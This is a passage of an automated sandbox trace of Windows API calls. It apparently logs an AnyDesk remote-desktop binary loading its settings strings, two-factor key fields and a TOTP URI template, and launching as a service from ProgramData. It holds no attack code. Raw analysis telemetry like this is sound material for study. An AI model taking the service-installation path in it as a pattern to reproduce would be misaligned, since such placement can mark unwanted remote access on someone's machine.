Flags=0x8, Size=0x24) returned 0x3b1bd0 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x14) returned 0x3b1c00 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x44) returned 0x3b1c20 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x17) returned 0x3b1c70 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xe) returned 0x3b1c90 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x96) returned 0x3b1ca8 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3e) returned 0x3b1d48 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1b) returned 0x3b1d90 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1d) returned 0x3b1db8 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x48) returned 0x3b1de0 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3b1e30 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x18) returned 0x3b1e50 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1b) returned 0x3b1e70 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x24) returned 0x3b1e98 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x29) returned 0x3b1ec8 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3b1f00 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x6b) returned 0x3b1f28 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x17) returned 0x3b1fa0 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xf) returned 0x3b1fc0 [0188.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x16) returned 0x3b1fd8 [0188.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x15) returned 0x3b1ff8 [0188.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x14) returned 0x3b2018 [0188.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x15) returned 0x3b2038 [0188.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x15) returned 0x3b2058 [0188.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x35) returned 0x3b2078 [0188.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3b20b8 [0188.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x18) returned 0x3b20d8 [0188.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x46) returned 0x3b20f8 [0188.839] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b09f0 | out: hHeap=0x3b0000) returned 1 [0188.840] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x80) returned 0x3b09f0 [0188.840] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x800) returned 0x3b2148 [0188.840] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0188.840] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0188.841] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.841] GetLastError () returned 0x0 [0188.841] SetLastError (dwErrCode=0x0) [0188.841] GetLastError () returned 0x0 [0188.841] SetLastError (dwErrCode=0x0) [0188.841] GetLastError () returned 0x0 [0188.842] SetLastError (dwErrCode=0x0) [0188.842] GetLastError () returned 0x0 [0188.842] SetLastError (dwErrCode=0x0) [0188.842] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d3780, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0188.843] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0x3b0a78 [0188.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d3780, cbMultiByte=-1, lpWideCharStr=0x3b0a78, cchWideChar=20 | out: lpWideCharStr="*******************") returned 20 [0188.843] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.843] GetDC (hWnd=0x0) returned 0x5010090 [0188.843] GetDeviceCaps (hdc=0x5010090, index=88) returned 96 [0188.843] ReleaseDC (hWnd=0x0, hDC=0x5010090) returned 1 [0188.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19eef6c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0188.844] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0x3b0aa8 [0188.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19eef6c, cbMultiByte=-1, lpWideCharStr=0x3b0aa8, cchWideChar=21 | out: lpWideCharStr="prokzult schnurbotan") returned 21 [0188.844] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.844] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0ae0 [0188.844] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0af0 [0188.844] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0b00 [0188.844] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0b10 [0188.844] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0b20 [0188.845] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fa740, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0188.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0x3b0b30 [0188.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fa740, cbMultiByte=-1, lpWideCharStr=0x3b0b30, cchWideChar=11 | out: lpWideCharStr="vpn_driver") returned 11 [0188.845] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fa74c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0188.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3b0b50 [0188.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fa74c, cbMultiByte=-1, lpWideCharStr=0x3b0b50, cchWideChar=8 | out: lpWideCharStr="tap0901") returned 8 [0188.846] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fa754, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0188.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0x3b0b68 [0188.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fa754, cbMultiByte=-1, lpWideCharStr=0x3b0b68, cchWideChar=39 | out: lpWideCharStr="{4D36E972-E325-11CE-BFC1-08002BE10318}") returned 39 [0188.846] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fa77c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0188.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0x3b0bc0 [0188.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fa77c, cbMultiByte=-1, lpWideCharStr=0x3b0bc0, cchWideChar=7 | out: lpWideCharStr="ad.txt") returned 7 [0188.847] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.847] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0bd8 [0188.847] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0be8 [0188.847] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0bf8 [0188.848] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0188.848] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0c08 [0188.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x3b0c08, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0188.848] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0188.848] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0c18 [0188.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x3b0c18, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0188.848] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.849] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.849] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02834, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0188.849] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0x3b0c28 [0188.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02834, cbMultiByte=-1, lpWideCharStr=0x3b0c28, cchWideChar=30 | out: lpWideCharStr="ad.anynet.two_factor_auth_key") returned 30 [0188.849] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ef0cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0188.849] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0x3b0c70 [0188.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ef0cc, cbMultiByte=-1, lpWideCharStr=0x3b0c70, cchWideChar=25 | out: lpWideCharStr="ad.anynet.two_factor_key") returned 25 [0188.849] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19dcc08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0188.850] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0x3b0cb0 [0188.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19dcc08, cbMultiByte=-1, lpWideCharStr=0x3b0cb0, cchWideChar=28 | out: lpWideCharStr="ad.features.two_factor_auth") returned 28 [0188.850] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a028b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0188.850] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6e) returned 0x3b0cf0 [0188.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a028b8, cbMultiByte=-1, lpWideCharStr=0x3b0cf0, cchWideChar=55 | out: lpWideCharStr="otpauth://totp/AnyDesk:%s?secret=%s&issuer=anydesk.com") returned 55 [0188.850] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19e22ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0188.850] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3b0d68 [0188.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19e22ec, cbMultiByte=-1, lpWideCharStr=0x3b0d68, cchWideChar=3 | out: lpWideCharStr="\r\n") returned 3 [0188.850] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a09138, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0188.851] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0x3b0d78 [0188.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a09138, cbMultiByte=-1, lpWideCharStr=0x3b0d78, cchWideChar=21 | out: lpWideCharStr="\r\n------ %S ------\r\n") returned 21 [0188.851] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.851] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0db0 [0188.851] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.851] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.851] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0dc0 [0188.851] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3b0dd0 [0188.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9da8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0188.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0x3b0df0 [0188.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9da8, cbMultiByte=-1, lpWideCharStr=0x3b0df0, cchWideChar=6 | out: lpWideCharStr="https") returned 6 [0188.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3b0e08 [0188.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0x3b0e20 [0188.852] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0df0 | out: hHeap=0x3b0000) returned 1 [0188.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17518, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0188.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0x3b0df0 [0188.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17518, cbMultiByte=-1, lpWideCharStr=0x3b0df0, cchWideChar=5 | out: lpWideCharStr="file") returned 5 [0188.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3b0e38 [0188.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0x3b0e50 [0188.852] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0df0 | out: hHeap=0x3b0000) returned 1 [0188.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17448, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0188.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0x3b0df0 [0188.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a17448, cbMultiByte=-1, lpWideCharStr=0x3b0df0, cchWideChar=7 | out: lpWideCharStr="mailto") returned 7 [0188.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3b0e68 [0188.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0x3b0e80 [0188.852] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0df0 | out: hHeap=0x3b0000) returned 1 [0188.852] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x13) returned 0x3b0e98 [0188.853] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.853] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2f) returned 0x3b0eb8 [0188.853] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2f) returned 0x3b0ef0 [0188.853] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1b) returned 0x3b0f28 [0188.853] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1b) returned 0x3b2950 [0188.853] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.853] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.853] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b09f0) returned 0x80 [0188.854] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x214) returned 0x3b2978 [0188.854] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0188.854] GetCurrentThreadId () returned 0x998 [0188.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0188.854] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3b0f50 [0188.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3b0f50, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0188.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0188.854] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3b0df0 [0188.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0x3b0df0, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0188.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0188.854] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0x3b2b98 [0188.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c50, cbMultiByte=-1, lpWideCharStr=0x3b2b98, cchWideChar=12 | out: lpWideCharStr="AnyDesk.exe") returned 12 [0188.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0188.854] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bd420 [0188.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bd420, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0188.855] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd420 | out: hHeap=0x3b0000) returned 1 [0188.855] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bd420 [0188.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0ae0 | out: hHeap=0x3b0000) returned 1 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bd438 [0188.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0af0 | out: hHeap=0x3b0000) returned 1 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0x3b0ae0 [0188.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0b00 | out: hHeap=0x3b0000) returned 1 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bd450 [0188.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0b10 | out: hHeap=0x3b0000) returned 1 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3b0b00 [0188.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0b20 | out: hHeap=0x3b0000) returned 1 [0188.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b2b98 | out: hHeap=0x3b0000) returned 1 [0188.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0df0 | out: hHeap=0x3b0000) returned 1 [0188.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0f50 | out: hHeap=0x3b0000) returned 1 [0188.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1b31370, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x5e) returned 0x3bd468 [0188.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1b31370, cbMultiByte=-1, lpWideCharStr=0x3bd468, cchWideChar=47 | out: lpWideCharStr="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --service") returned 47 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0f50 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0b20 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b0df0 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b2b98 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3b2ba8 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0x3bd4d0 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bd520 [0188.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3bd550 [0188.858] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3be138 [0188.859] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.859] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd520 | out: hHeap=0x3b0000) returned 1 [0188.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02ae8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0188.859] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0x3bd570 [0188.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02ae8, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=9 | out: lpWideCharStr="--attach") returned 9 [0188.859] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02af4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0188.859] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3bd570 [0188.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02af4, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=10 | out: lpWideCharStr="--connect") returned 10 [0188.859] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02b00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0188.859] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0x3bd570 [0188.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02b00, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=9 | out: lpWideCharStr="--shm-id") returned 9 [0188.859] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c2d88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0188.859] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0x3bd4d0 [0188.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c2d88, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=18 | out: lpWideCharStr="--welcome-session") returned 18 [0188.860] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0188.860] RtlAllocateHeap 